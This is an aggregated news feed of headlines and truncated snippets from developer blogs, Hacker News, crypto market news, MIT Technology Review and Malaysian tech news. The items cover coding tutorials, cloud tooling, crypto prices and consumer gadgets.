    Most default code editor themes don’t work for me. As someone with astigmatism, high-contrast or overly saturated themes strain my eyes. I constantly switched themes, but nothing felt right. It wasn’t just about looks, I needed help creating something that was suited my needs for writing code. Many themes either failed WCAG contrast standards or were uncomfortable to read. Creating a custom theme felt daunting, until I started using gen AI to assist me. Using generative AI, I could describe exactly what I needed: "A dark theme with muted backgrounds and soft contrast for string literals." "All elements must pass WCAG AAA minimum contrast." "Avoid yellows and high-saturation colors." In minutes, I had accessible designs tailored to my needs. I wasn’t just editing and fighting through balanc…  ( 8 min )
    Understanding the All Ordinaries Index: Structure, Purpose, and Market Role
    The All Ordinaries Index, often abbreviated as allords, stands as one of Australia’s longest-established equity benchmarks. It represents a broad overview of the Australian share market, capturing the performance of a large portion of companies listed on the Australian Securities Exchange (ASX). While numerous indices exist within the Australian financial landscape, the allords holds a unique place due to its wide coverage, long history, and consistent methodology. Introduced in 1980, the allords was originally created to offer a broad gauge of national market activity. Unlike more concentrated indices that focus on a select group of major firms, this index tracks hundreds of listed entities, making it one of the most comprehensive indicators of Australian equity movements. Its purpose is …  ( 8 min )
    Antigravity and Gemini3 Coding Test
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    STN Hackathon 2025
    STN Hackathon 2025 is an exciting upcoming hackathon going to be held on 6th-7th December 2025. It is a 24 hour hackathon expected to be filled with innovation and tech lovers of Nepal. It is an Open theme full stack challenge open to all developers, designers, ai/ml enthusiasts, innovators and tech lovers. It is organized by IT Skills Training Nepal, Putalisadak. Full details: Here You can join as a team of 4 members maximum or you can go solo if you are feeling confident. Registration closes on 4th December, 2025 and limited seats are available so register now to not miss the chance. Talking about the prizes, the prizes include internship opportunities and even job placement so it is very ideal for students looking to start their career. Prizes include: Participants will also have the chance to connect with tech experts and like minded individuals, receive certificates and gain recognition. Beyond the rewards, the hackathon offers a valuable experience in real-world project development and working under tight deadlines. If you’re passionate about technology and eager to challenge yourself, STN Hackathon 2025 is the perfect opportunity to learn, create and grow. For information of all upcoming hackathons and events you can also join Nepvents, the best event discovery platform for tech students in Nepal.  ( 6 min )
    Server Side Rendering Explained for People Who Have Never Heard of It
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    🚀 Experience Liftoff: Google Antigravity—The Agent-First IDE Redefining Development
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    AI in C# and .NET Development: Google Antigravity IDE
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    You can access the code of this chapter in the Kilo-Go github repository in the search branch. Currently your file structure should look something like this: We have now a functional text editor, we could even continue writing the code for this project in it Let's use editorPrompt to implement a minimal search feature. When the user types a search query and presses Enter, we'll loop through the text, and if a row contains the query string, we'll move the cursor there File: utils/constants.go const ( ... KILO_DEFAULT_STATUS_MESSAGE = "HELP: Ctrl-S = save | Ctrl-Q = quit | Ctrl-F = find" ) File: utils/find.go package editor import ( "strings" ) func (e *EditorConfig) editorFind() { query := e.editorPrompt("Search: ") if query == "" { return } for i :=…  ( 9 min )
    How I Built a Chase Bank PDF Parser with 99% Accuracy
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    Number Time: A Proposal for Rational Temporal Measurement
    Current timekeeping systems reflect historical accidents rather than logical design. The base-60 division of hours and minutes originated from Sumerian finger-counting methods, while our irregular Gregorian calendar stems from Roman political manipulation. This paper proposes "Number Time," a decimal-based temporal system designed to reduce cognitive load, eliminate timezone confusion, and align with natural human rhythms through percentage-based daily measurement, standardized calendar structures, and location-specific sunrise references. The contemporary global timekeeping framework suffers from fundamental inefficiencies rooted in historical contingency. Our 24-hour day divided into 60-minute hours and 60-second minutes exists solely because ancient Sumerians counted using the 12 finger…  ( 13 min )
    Strategy Pattern
    What is strategy pattern ? Strategy is a behavioral design pattern that lets you define a family of algorithms, put each of them into a separate class, and make their objects interchangeable. Strategy Interface: A common interface or abstract class is defined to represent the algorithm's behavior. Concrete Strategies: Concrete classes implement the strategy interface, providing a specific algorithm or behavior. Each concrete strategy encapsulates a particular way to perform a task. Context: The context is the class that uses a strategy. It holds a reference to a strategy object and delegates the task to it instead of executing the logic itself. The context can be configured with a different strategy object at runtime. Client: The client code is responsible for creating the context and choosing which concrete strategy to pass to it. It helps you: ✔ Remove long if/else or switch blocks Think of a payment service: Without Strategy Pattern → you'd write big conditional logic. With Strategy Pattern → you create a separate “strategy” class for each payment type. Source information SourceCode StrategyPattern Github  ( 6 min )
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    So I did an exercise to practice what I learned. I was given three banks' datasets: JPM (JP Morgan), Wells (Wells Fargo) & BAC (Bank of America). These three banks recorded their stock prices at different times due to delay caused by network issues, so their timestamps don’t match exactly. I needed to compare how the prices change across the three banks over time. To do that, I had to first align their times using merge_asof(). What this does is that, it takes a timestamp from JPM, checks to see which timestamp in Wells is closest to it, and then stores the value. I proceed to repeat the same for BAC, and I end up with a lineup of the three banks' logs, where each row has prices taken at almost the same moment. .diff() helps calculate the price changes across the three banks. I plotted these changes to show how each bank's stock price changes over time: Blue line represents JPM From the plot, we can see that: Wells and BAC move more steadily But all three banks show similar rise and fall patterns overall It suggests their price movements are correlated because all big US banks react to similar market forces. For my non-data science audience, you might be asking, kini gbogbo eleyi TL mi?(What's all this on my timeline?). When recording stock prices, different banks often log data at slightly different times. Once the timestamps were aligned, I calculated how much each stock price changed over time. Guess what I found... JPM (blue) is more volatile, swings higher, up and down. The curves for Wells and BAC look similar and smoother. That’s normal, they’re both traditional retail/consumer banks. They respond to: These factors affect them in the same direction, so their returns often move similarly. JPM had the most dramatic ups and downs. Why? Because JPMorgan has: ✔ A massive investment banking division Investment banking stocks naturally move more sharply. This is the End. -SP Day 9 of improving my Data Science skills Sylvester Promise ・ Nov 18 #webdev #ai #career #machinelearning  ( 7 min )
    第 24.3 课:币安合约交易操作详解
    第 24.3 课:币安合约交易操作详解 ⏱ 课时:2.5 小时 🎯 学习目标:掌握币安合约交易的API操作,学会安全地进行杠杆交易 合约交易风险极高,新手请谨慎操作! 🔴 高风险警告: - 合约交易具有杠杆效应,可能损失全部本金 - 市场剧烈波动可能导致强制平仓 - 资金费率和交易成本较高 - 需要丰富的交易经验和强大的心理素质 📋 适用人群: - 有丰富现货交易经验 - 深刻理解杠杆风险 - 有完善的风险管理策略 - 能承受重大资金损失 💡 建议:先用小资金测试,充分理解机制后再逐步增加 合约交易是加密货币交易的高级形式,通过杠杆可以放大收益,但同时也放大了风险。 本课重点: 杠杆是双刃剑,放大收益的同时也会放大亏损。谨慎使用,严格风控。 本课将详细讲解: 币安合约API的配置和使用 杠杆和保证金管理 合约订单类型和操作 风险管理和资金控制 在币安API管理页面,需要开启以下权限: ✅ 必须开启: □ Enable Reading (读取权限) □ Enable Futures Trading (合约交易权限) ⚠️ 可选开启(谨慎): □ Enable Margin Trading (杠杆交易权限) ❌ 绝对禁止: □ Enable Withdrawals (提币权限) - 永远不要开启! # 1. 从现货账户转入资金到合约账户 # 在币安网页版或APP中操作: # 资金 → 划转 → 从现货账户到USDT-M合约账户 # 2. 建议初始资金 # 新手:100-500 USDT # 有经验:1000-5000 USDT # 高级:5000+ USDT { "exchange": { "name": "binance", "key": "${BINANCE_API_KEY}", "secret": "${BINANC…  ( 15 min )
    The Scream Beneath the Digital Noise: Why We Can't Turn Off Notification Sounds
    Have you ever wondered why that tiny notification sound has the power to pull our attention like a magnet we never asked to carry? On the subway, in cafés, classrooms, on the street. It's always the same. Ding. Such a small sound, but it pokes at something inside us. It's become one of modern life's strangest habits - instead of turning their phones down, people crank the volume all the way up. And it's not just a setting. It's almost a personality trait, a posture, a way of saying "I'm here." At some point, that tiny sound becomes an extension of who someone is. A kind of digital breath, I guess. Of course, there's biology involved. Dopamine. The moment that sound plays, your brain releases this tiny reward, a little spark. It feels like someone thought of us, reached out, needed us. Afte…  ( 7 min )
    What's New in .NET 10 and C# 14
    What's New in .NET 10 and C# 14: The Enterprise Architect's Guide to WebAssembly as a Parallel Runtime TL;DR: Why This Matters to Every .NET Developer If you're a .NET developer who's been writing C# code for years but haven't been paying attention to the WebAssembly revolution, this article is your wake-up call. .NET 10 (released November 11, 2025) isn't just another incremental update—it's Microsoft's declaration that the browser is now a first-class .NET runtime, sitting alongside your traditional server deployments. Imagine writing your business logic once in C# and having it run everywhere: on your servers at 49% faster speeds than .NET 8, in the browser via WebAssembly with 76% smaller download sizes, on edge devices via WASI, and even in native mobile apps through .NET …  ( 78 min )
    Framer Ground: Copy-Paste Animation Components for React/Next.js
    Framer Ground: Open-source animated components you can copy directly into React/Next.js projects Key features: ✂️ No npm install needed, just copy and paste the code ⚡ Built with Framer Motion for smooth 60fps animations 🎨 Styled with TailwindCSS, easy to customize 📦 Includes buttons, cards, carousels, galleries, inputs, menus, and navbars 💪 Full TypeScript support 🚀 Works alongside any UI library Check it out if you want to add micro-interactions without building animations from scratch. Similar approach to shadcn/ui but focused purely on animations. 👉 Blog Post 👉 GitHub Repo 👉 Live Demo  ( 6 min )
    **"Score Big on the Road to Qatar: In-Depth World Cup Analysis & Predictions"**
    World Cup 2026: Unpacking Team Performances, Qualifiers, and Match Analysis As we edge closer to the 2026 FIFA World Cup, the excitement is palpable. The latest FIFA rankings have revealed the top seeds, leaving us wondering about the prospects of various national teams. In this article, we'll delve into team performances, qualifiers, match analysis, and player insights, providing you with a comprehensive understanding of the World Cup 2026 landscape. The qualifying process for the 2026 World Cup has been nothing short of dramatic. With some surprising upsets and impressive comebacks, teams have secured their spots or narrowly missed out. According to worldcup26.app, as of now, the following teams are qualified: Africa: Egypt, Ghana, Morocco, Senegal, Tunisia Asia: Australia, Japan, South …  ( 7 min )
    Securing Cross-Account AWS Operations: Adding External ID Support to AwsCustomResource
    I recently contributed to the AWS Cloud Development Kit (CDK) by implementing External ID support for AwsCustomResource, a feature that enhances security for cross-account AWS operations. The pull request #35252 was merged into the main branch after a comprehensive review process, addressing a critical security gap identified in issue #34018. This article walks through the problem, the solution, and the engineering decisions that went into this contribution. The Problem: Confused Deputy Attacks Consider this scenario: Your Lambda function assumes a role in Account B using sts:AssumeRole An attacker discovers your function's configuration The attacker creates their own resource that tricks your function into assuming a role in their account instead Your function unknowingly performs operati…  ( 10 min )
    Beyond Scheduling: How Kubernetes Uses QoS, Priority, and Scoring to Keep Your Cluster Balanced
    When every Pod screams for CPU and memory, who decides who lives, who waits, and who gets evicted? Kubernetes isn't just a scheduler — it's a negotiator of fairness and efficiency. This article unpacks how Quality of Service (QoS), Priority Classes, Preemption, and Bin-Packing Scoring come together to keep your cluster stable and fair. ⚙️ The Challenge: Competing Workloads in Shared Clusters When multiple workloads share cluster resources, conflicts are inevitable: High-traffic apps starve lower workloads. Batch jobs hog memory. Pods without limits cause unpredictable evictions. Kubernetes addresses this by applying a layered decision-making model — QoS, Priority, Preemption, and Scoring. 🧭 QoS (Quality of Service): Who Gets Evicted First Each Pod belongs to a QoS class based on CPU and m…  ( 7 min )
    Restoring files with git
    git restore --source=main -- path/to/fileA.js  ( 6 min )
    Best Primer For Miniatures, The Confident Choice For Perfect Coverage
    Primer is the foundation that decides how every colour sits, blends, and lasts. Choose the best primer for miniatures and your paint glides, details stay crisp, and varnish protection holds up. Choose badly and you fight chalky texture, clogged recesses, and flaky adhesion. This guide explains types of primer, how they behave on different materials, what colours to pick, and the environmental factors that make or break a smooth coat. If you are looking for practical miniature priming tips, want to understand how a Warhammer model primer behaves on plastic, resin, and metal, and you need a simple checklist to avoid grainy results, you are in the right place. Why Primer Quality Affects Every Stage Of Painting Primer does three vital jobs. It grips the miniature so colour coats do not rub o…  ( 10 min )
    Introduction to GO Programming
    Table of Contents Introduction Go Software Enable dependency tracking for your code Go is an open-source programming language developed by Google It was designed at Google in 2007 by Robert Griesemer,and Ken Thompson, and publicly announced in November 2009. It is syntactically similar to C, but also has garbage collection, structural typing It is often referred to as Golang to avoid ambiguity and because of its former domain name, golang.org, but its proper name is Go the gopher : The Go gopher was created by renowned illustrator Renee French. It has become a beloved mascot for the Go brand. The Gopher is a reminder of the approachability and fun that comes with the Go brand and language. Go to the go website and then click on the download button Go can be installed in multiple Operating systems and information given below Its a straight forward installation, just keep click next to complete the installation. Try the below command in the software folder go mod init example/hello go: creating new go.mod: module example/hello Create a file hello.go file package main import "fmt" func main() { fmt.Println("Hello, World!") } Run your code to see the greeting. go run . Hello, World! References: https://en.wikipedia.org/wiki/Go_(programming_language) https://go.dev/  ( 6 min )
    dev diary 20251119
    ideation for web app i generated the ideas for web app with Miro stickies. the Several ideas are written. notes to add revision with red color. notes without thinking integration automatically data analysis, multi step thinking with AI i already built the pipe line to develop full stack app with aws amplify. and as the next step, i wanna prepare basic CRUD function as template for general usage. and i made it. https://github.com/hirookakazuya/20251119_app] each dev folder have storage of 1.2GB and the most of it is in node_modules folder. as chatAI information, this node_module folder can be deleted and restored again with install npm when i use it. i didn't try it. now i' using the cursor. but the limitation of monthly use come. i study which tool i should select for code assistant. for basic use for dev, free ai chat bot is enough like chatGPT, Gemini. in these tool, i don't care about the limitation.  ( 6 min )
    Cool Features in AWS CloudFormation
    AWS CloudFormation is an AWS tool that lets you create and manage cloud resources using code instead of clicking around the console. You describe everything you want - like EC2 instances, S3 buckets, IAM roles, VPCs — in a template file (YAML or JSON), and CloudFormation reads that template and automatically provisions, updates, or deletes those resources for you as a single stack. This makes your infrastructure repeatable, version-controlled, and easier to manage, because you can deploy the same setup to multiple environments (dev, test, prod) with minimal changes, roll back if something fails, and track all infrastructure changes just like you do with application code. Recently, there has been number of improvements in CloudFormation making it much easier to manage infrastructure resourc…  ( 8 min )
    Real-time Metrics and Ring Balance: A Major TUI Upgrade for LimeDB
    Github: namanvashistha/limedb This commit significantly enhances the Text-based User Interface (TUI) for LimeDB, our lightweight, fast, open-source distributed key-value store. The focus is on providing developers with immediate, actionable insights into cluster health and data distribution. Real-time Node Metrics: ClusterStatus widget in the TUI now displays crucial operational metrics for each LimeDB node. These include: CPU Usage: Percentage of system CPU being utilized by the node process. Memory Usage: Amount of JVM memory consumed by the node. Uptime: How long the node process has been running. Latency: Round-trip time to communicate with the node. Why this matters: This provides a quick overview of individual node health, helping identify bottlenecks or unresponsive instance…  ( 7 min )
    The Stochastic Shift: When Your Creative Toolbox Becomes a Slot Machine
    I remember the predictable rhythm of the Dreamweaver era. Firing up Photoshop, I'd mock up a pristine website layout, slice buttons and images, then export everything into HTML tables or early CSS floats. My process was predictable, my costs quantifiable. A client needed a landing page? "$500," I'd quote. That was 10 hours of design and code at $50/hour, minus a prorated slice of my Adobe subscription. Boom. A local coffee shop needed a brochure site. I'd sketch wireframes on paper (yes, actual paper!), scan them, build the PSD, and meticulously slice the hero image into top/middle/bottom for that stretchy background hack. The equation was simple: Time × Skill = Output. Fast forward to today, and that clean equation has shattered. My workflow now involves prompting Midjourney for a lo…  ( 7 min )
    🌐 NAT Behind the Scenes: How Your Host and Virtual Machine Share the Internet
    https://medium.com/@natarajanck2/nat-explained-simply-how-network-address-translation-works-in-pcs-and-virtual-machines-a633bb82a016  ( 6 min )
    Day 1270 : Wednesday
    liner notes: Professional : Pretty good day. Had a few meetings. I responded to some community questions. Spent some time trying to work out some GitHub workflows that I didn't set up. haha It's part of a project I was involved with another person. I worked on the front end application that created the artifact that would then be sent to GitHub and that would kick off some tasks that the person I was working with created to get my artifact ready to be deployed to a platform. Well, the platform is no longer a viable option, so I'm working on refactoring everything to stay of GitHub and use Codespaces instead. The person I worked on this with is no longer at the company, but luckily we did a walk through of everything we worked on and recorded it. I watched it and went through some code to try and jog my memory and also think about how I can make this work. Personal : Last night, instead of coding (I think I was tired from work) I created another version of a 3D model that I've been wanting to remake. I learned some new things in Tinkercad and it helped me accomplish what I wanted. I think I'm going to do some coding. Go through tracks from Bandcamp and for the radio show. How is it Wednesday already?! Pretty much it. Going to eat dinner and get to work. Have a great night! peace piece https://dwane.io / https://HIPHOPandCODE.com  ( 7 min )
    The shift toward agentic development
    Some thoughts on where software engineering is heading Over the past two years, software development has changed in ways that feel significant. These are patterns I'm noticing both in my own work and across the industry. I've been using AI coding tools in personal projects for over two years. The evolution has been clear. It started with copying code from ChatGPT and pasting it into an IDE. Then came tab completion with Cursor and GitHub Copilot, which was helpful but not transformative. The real shift happened when Cursor introduced agentic capabilities, before Copilot had similar features. More recently, I got access to IBM Bob at work, which resembles Cursor 1.X and GitHub Copilot in approach. Most recently, Claude Code with its predominantly agentic workflow has reinforced what seems t…  ( 14 min )
  • Open

    Over-Regulation Is Doubling the Cost by Peter Reinhardt
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    France is taking state actions against GrapheneOS
    Comments  ( 1 min )
    Autocomp: An ADRS Framework for Optimizing Tensor Accelerator Code
    Comments  ( 1 min )
    Virgin and Qantas to ban use of portable power banks after string of fires
    Comments  ( 10 min )
    GitHut – Programming Languages and GitHub
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    New Glenn Update – Blue Origin
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    Run Docker containers natively in Proxmox 9.1 (OCI images)
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    We are replacing OOP with something worse
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    CBP is monitoring US drivers and detaining those with suspicious travel patterns
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    Data-at-Rest Encryption in DuckDB
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    Mozilla Says It's Finally Done with Two-Faced Onerep
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    Show HN: Search London StreetView panoramas by text
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    The Lions Operating System
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    Microsoft makes Zork open-source
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    Gary Mani Mounfield of the Stone Roses and Primal Scream Dead at 63
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    Launch HN: Poly (YC S22) – Cursor for Files
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    Go Cryptography State of the Union
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    Android and iPhone users can now share files, starting with the Pixel 10
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    Show HN: Tangent – Security log pipeline powered by WASM
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    The Firefly and the Pulsar
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    The Banished Bottom of the Housing Market
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    210 IQ Is Not Enough
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    Firefox 147 Will Support the XDG Base Directory Specification
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    Building a Durable Execution Engine with SQLite
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    Students fight back over course taught by AI
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    Ubuntu LTS releases to 15 years with Legacy add-on
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    Red Alert 2 in web browser
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    40 years ago, Calvin and Hobbes' raucous adventures burst onto the comics page
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    40 years ago, Calvin and Hobbes' raucous adventures burst onto the comics page
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    Adversarial Poetry as a Universal Single-Turn Jailbreak Mechanism in LLMs
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    Show HN: Awesome J2ME
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    Interactive World History Atlas Since 3000 BC
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    50th Anniversary of BitBLT
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  • Open

    Tether’s Gold Hoard Surges to 116 Tons, Rivals Small Central Banks
    Jefferies said that stablecoin giant Tether has quietly become one of the gold market’s most influential new buyers.  ( 35 min )
    Bitcoin Sell-Off Led by Mid-Cycle Wallets While Long-Term Whales Hold Firm: VanEck
    VanEck says bitcoin’s downturn is being driven by mid-cycle wallets while the oldest holders keep accumulating, with futures data showing washed-out market conditions.  ( 35 min )
    Crypto Lobbyists Pitching Trump on Getting Things Done During Congress' Uncertainty
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    Kalshi Raises $1B at $11B Valuation as Prediction Market Race Continues: TechCrunch
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    Anthony Scaramucci-Backed AVAX One Approves $40M Stock Buyback
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    Trump's CFTC Pick, Mike Selig, Clears Hurdle on Way Toward Confirmation Vote
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    Crypto Exchange Ripio Reveals $100M Crypto Treasury, Second Largest in Latin America
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    Ray Dalio Still Owns Bitcoin, but Says Traceability and Quantum Threat Are Concerns
    The billionaire founder of hedge fund Bridgewater believes Bitcoin faces major hurdles before it can become a global reserve currency.  ( 34 min )
    HBAR Faces Fresh Liquidity Alarms After Breakdown to $0.1373
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    ICP Breaks Below Key Support as Volume Surges at Resistance Test
    Heavy trading activity during a failed rebound attempt pushed ICP into a tighter consolidation zone below $4.95, reinforcing short-term downside risk.  ( 33 min )
    The Rise of Crypto Treasuries: How One Bet Sparked a Corporate Shift
    Michael Saylor’s 2020 move turned idle cash into crypto. Now, firms from healthcare to tech are following the playbook, with mixed results.  ( 37 min )
    Bitcoin's Nvidia-Led Gains Prove Short-Lived, With Price Slumping Back to $88K
    U.S. stocks are also giving up a major early advance, with the Nasdaq now ahead just 0.3%.  ( 33 min )
    BONK Holds Range as Heavy Volume Marks Key Support Retest
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    Ethereum’s Fusaka Upgrade Signals New Era for Value Accrual: Fidelity Digital Assets
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    What Next For XRP as Bitcoin Loses $90,000 Level Again
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    Kraken’s IPO Play: Why the Crypto Exchange Is Racing Toward the Public Markets
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    Crypto for Advisors: Crypto Indices Explained
    Crypto indices and key metrics explained: How index design — from asset selection to weighting and rebalancing — defines trust, transparency, and product viability.  ( 37 min )
    Core Foundation Wins Injunction Against Maple Finance on Alleged Confidentiality Breach
    The Grand Court of the Cayman Islands granted the injunction against Maple Finance completing its own liquid staking token syrupBTC.  ( 33 min )
    Solana ETFs Post Second-Biggest November Inflows as Demand Grows During Downturn
    Spot SOL exchange-traded funds extended an inflow streak since they began trading on Oct. 28 while bitcoin and ether ETFs bled hundreds of millions of dollars.  ( 33 min )
    Securitize Leverages Plume to Expand Global Real-World Asset Reach
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    Tether Invests in LatAm Crypto Infrastructure Firm Parfin to Boost USDT Among Institutions
    The investment is part of Tether’s broader push to expand stablecoin settlement and tokenization tools among institutions across Latin America, the firm said.  ( 33 min )
    Ether Treasury Firm FG Nexus Unloads Nearly 11K ETH to Fund Share Buyback
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    Cipher Mining Inks New 10-Year HPC Deal With Fluidstack; Shares Rise 13%
    The expansion adds 56 MW at Barber Lake and secures $830 million in contracted revenue, reinforced by increased Google backing.  ( 34 min )
    CoinDesk 20 Performance Update: Aptos (APT) Gains 10% as All Index Constituents Rise
    Polygon (POL) was also a top performer, up 7.9% from Wednesday.  ( 31 min )
    World App Starts Virtual Bank Accounts Pilot for USDC Payroll Deposits
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    B. Riley Cuts Digital Asset Treasury Company Price Targets as Crypto Slump Deepens
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    Metaplanet Unveils New Bitcoin Backed Capital Structure with $150M Perpetual Preferred Offering
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    JPMorgan Warns MSCI Decision Could Force Strategy Out of Top Equity Indices
    The bank said billions in passive flows could unwind if MSCI removes Strategy from major equity benchmarks, heightening pressure on the bitcoin-levered firm.  ( 34 min )
    Seller Fatigue?: Crypto Daybook Americas
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    AI and HPC Bitcoin Miners Surge Pre Market Following Stellar NVIDIA Earnings
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    Crypto Markets Today: Bitcoin Holds Steady Amid Wave of Sell Pressure as Altcoins Slide
    A long-term BTC holder moved hundreds of millions to exchanges, but the market absorbed the supply shock as altcoins suffered broad declines.  ( 36 min )
    Abu Dhabi Investment Tripled IBIT Holdings in Q3 as Bitcoin Headed to Record High
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    Ark Invest Buys the Slide, Adds Almost $40M of Crypto Stocks, as Market Drops
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    BlackRock Takes First Step Toward a Staked Ether ETF
    A new Delaware filing for the iShares Staked Ethereum Trust signals BlackRock’s intent to enter the yield-bearing ether market as issuers wait for SEC clarity on staking.  ( 32 min )
    Fed December Rate Cut Odds Collapse to 30%
    The probability of the Federal Reserve cutting interest rates has decreased significantly, now standing at 30%.  ( 33 min )
    Privacy-Focused Aztec Network's Ignition Chain Lights Up on Ethereum
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    India's Debt-Backed ARC Token Eyes Tentative Q1 2026 Debut, Sources Say
    The ARC will operate within a two-tier framework, complementing the RBI's Central Bank Digital Currency.  ( 34 min )
    Dogecoin Hits Multi-Month Lows as Exchange Flows Turn Bullish for First Time in 6 Months
    Leader in cryptocurrency, Bitcoin, Ethereum, XRP, blockchain, DeFi, digital finance and Web 3.0 news with analysis, video and live price updates.  ( 36 min )
    XRP Slumps as $2.15 Level Collapses, Bearish Structure Deepens
    Despite no major catalysts, broader crypto market weakness and Bitcoin's 'Death Cross' contributed to XRP's decline.  ( 35 min )
    Asia Morning Briefing: Market Turns Defensive as Bitcoin Loses Its Bid
    With CryptoQuant flagging an exhausted demand wave and Polymarket traders clustering around an 85,000 retest, the market is trading without the catalysts that drove last year’s gains.  ( 34 min )
  • Open

    Roundtables: Surviving the New Age of Conspiracies
    Everything is a conspiracy theory now. MIT Technology Review’s series, “The New Conspiracy Age,” explores how this moment is changing science and technology. Watch a discussion with our editors and Mike Rothschild, journalist and conspiracy theory expert, about how we can make sense of them all. Speakers: Amanda Silverman, Editor, Features & Investigations; Niall Firth,…  ( 16 min )
    Designing digital resilience in the agentic AI era
    Digital resilience—the ability to prevent, withstand, and recover from digital disruptions—has long been a strategic priority for enterprises. With the rise of agentic AI, the urgency for robust resilience is greater than ever. Agentic AI represents a new generation of autonomous systems capable of proactive planning, reasoning, and executing tasks with minimal human intervention. As…  ( 24 min )
    The Download: what’s next for electricity, and living in the conspiracy age
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. Three things to know about the future of electricity The International Energy Agency recently released the latest version of the World Energy Outlook, the annual report that takes stock of the current state…  ( 21 min )
    Three things to know about the future of electricity
    One of the dominant storylines I’ve been following through 2025 is electricity—where and how demand is going up, how much it costs, and how this all intersects with that topic everyone is talking about: AI. Last week, the International Energy Agency released the latest version of the World Energy Outlook, the annual report that takes…  ( 20 min )
  • Open

    TM Issues Statement Regarding NG MERS 999 Issues
    Telekom Malaysia (TM) has issued a statement, addressing complaints surrounding the failures of its Next Generation Emergency Response Services 999, or NG MERS 999 in short. Malaysia upgraded the 17-year-old MERS999 platform because it had reached its technical limits and could no longer support the country’s evolving emergency requirements. NG MERS 999 was introduced to […] The post TM Issues Statement Regarding NG MERS 999 Issues appeared first on Lowyat.NET.  ( 36 min )
    Maxis Launches Yearly Upgrade Programme For iPhone Customers
    Upgrading to a new iPhone every single year is a baffling habit, but if you’ve got the cash to burn, who’s stopping you? For everyone else who’s a little more careful with their money yet still feels oddly tempted to keep up with the annual cycle, Maxis now has something that might make that decision […] The post Maxis Launches Yearly Upgrade Programme For iPhone Customers appeared first on Lowyat.NET.  ( 36 min )
    Porsche Debuts Fully Electric Cayenne With A Dual-Variant Lineup
    Porsche has unveiled the highly anticipated fully electric Cayenne, expanding the SUV’s powertrain lineup with two variants: the Cayenne Electric and the Cayenne Turbo Electric. Both models feature an all-wheel-drive system. In terms of design, the Cayenne EV sports slim Matrix LED headlights that are horizontally oriented and slightly rounded at the edges. The front […] The post Porsche Debuts Fully Electric Cayenne With A Dual-Variant Lineup appeared first on Lowyat.NET.  ( 37 min )
    Johor Data Centres Told To Postpone Expansions Until 2027
    As Malaysia continues to advance its AI aspirations, Johor has rapidly grown into a data centre hub. However, such developments do not come without a price. According to a report by the South China Morning Post, state officials have asked investors to temporarily halt water-cooled expansion projects for at least 18 months, or until mid […] The post Johor Data Centres Told To Postpone Expansions Until 2027 appeared first on Lowyat.NET.  ( 33 min )
    Alleged AMD Ryzen AI 9 HX 470 “Gorgon Point” Leaks
    A recent SiSoftware ranker confirms that AMD’s next Ryzen Mobile series entry, codename Gorgon Point, will be officially called the Ryzen AI 9 HX 370. The entry also confirms that the red CPU and GPU maker is sticking to the same naming convention as the CPU’s predecessor. Specs-wise, the HX 470 is virtually the same […] The post Alleged AMD Ryzen AI 9 HX 470 “Gorgon Point” Leaks appeared first on Lowyat.NET.  ( 34 min )
    The Echo Aviation Controller Has A Full Set Of Flight Controls
    If you’ve ever looked at a controller and thought that what it really needs is a full set of flight controls, then Honeycomb Aeronautical has got you covered. The company specialises in accessories like flight sticks and pedals, so clearly the next logical step is to pack those controls into a compact gamepad. Enter the […] The post The Echo Aviation Controller Has A Full Set Of Flight Controls appeared first on Lowyat.NET.  ( 34 min )
    Japanese Court Orders Cloudflare To Pay RM13.3 Million To Publishers Over Manga Piracy
    Oh Cloudflare. Just when you think the online service provider and web host can take a breather, it gets another problem slapped right into its face. This time, it’s an order by the Japanese courts to pay restitution to several Japanese publishers for hosting manga piracy sites. The Tokyo District Court ordered Cloudflare to pay […] The post Japanese Court Orders Cloudflare To Pay RM13.3 Million To Publishers Over Manga Piracy appeared first on Lowyat.NET.  ( 35 min )
    Fujifilm instax mini LiPlay+ Lands In Malaysia; Priced At RM938
    Last month, Fujifilm unveiled the instax mini LiPlay+, succeeding the mini LiPlay. Following the initial announcement, the brand has officially brought its latest hybrid instant camera to our shores. Like the preceding model, the mini LiPlay+ doubles as a smartphone printer. Beyond that, it comes with some upgrades, including a new selfie-taking capability. As a […] The post Fujifilm instax mini LiPlay+ Lands In Malaysia; Priced At RM938 appeared first on Lowyat.NET.  ( 35 min )
    Samsung Galaxy Glasses Details Revealed Ahead Of 2026 Unveiling
    If you’ve kept up with Samsung, then you might have heard that the company plans to launch its very own smart glasses sometime in 2025. But seeing how the year is almost over, we won’t be seeing it until 2026. Be that as it may, Samsung has disclosed several details about the wearable ahead of […] The post Samsung Galaxy Glasses Details Revealed Ahead Of 2026 Unveiling appeared first on Lowyat.NET.  ( 35 min )
    TQ Wuling Bingo Now Available For Booking In Malaysia
    The upcoming TQ Wuling Bingo is now open for booking, just days after the fully electric (EV) hatchback received its updated specifications. As per the automaker’s official website, both the Pro and Max variants can be reserved with a booking fee of RM50. Customers can also choose their preferred colour during the booking process. The […] The post TQ Wuling Bingo Now Available For Booking In Malaysia appeared first on Lowyat.NET.  ( 34 min )
    Japanese Researchers Have Developed GPU-Powered, Room-Sized ANC Technology
    Japanese researchers at NTT Laboratories have reportedly developed what they are calling the “world’s first spatial active noise control (spatial ANC) technology. While the technology isn’t new, its application in this context can fill a room, literally. NTT Laboratories says it achieved the spatial ANC by using a general purpose GPU, or GPGPU. “This technology […] The post Japanese Researchers Have Developed GPU-Powered, Room-Sized ANC Technology appeared first on Lowyat.NET.  ( 34 min )
    U Mobile Expands ULTRA5G In Bangi, Putrajaya, And PJ New Town
    U Mobile has rolled out its ULTRA5G network to three more major areas in the Klang Valley, bringing the next-generation 5G coverage to Bangi, Putrajaya, and Petaling Jaya New Town. Customers can now access the telco’s enhanced 5G experience throughout these entire townships, with supported devices displaying the “UM ULTRA5G” network name whenever the service […] The post U Mobile Expands ULTRA5G In Bangi, Putrajaya, And PJ New Town appeared first on Lowyat.NET.  ( 35 min )
    Lepas Malaysia Confirms L8 SUV As First Model For 2026 Launch
    Lepas Malaysia has confirmed its debut in the local market in the first half of 2026. Recently, during a Media Connection Session, the company confirmed that its first model for the Malaysian market will be the L8 SUV. As previously highlighted, the SUV showcases sharp, angular LED daytime running lights, vertically stacked LED headlights set […] The post Lepas Malaysia Confirms L8 SUV As First Model For 2026 Launch appeared first on Lowyat.NET.  ( 34 min )
    HONOR Robot Phone Makes First Physical Appearance In China
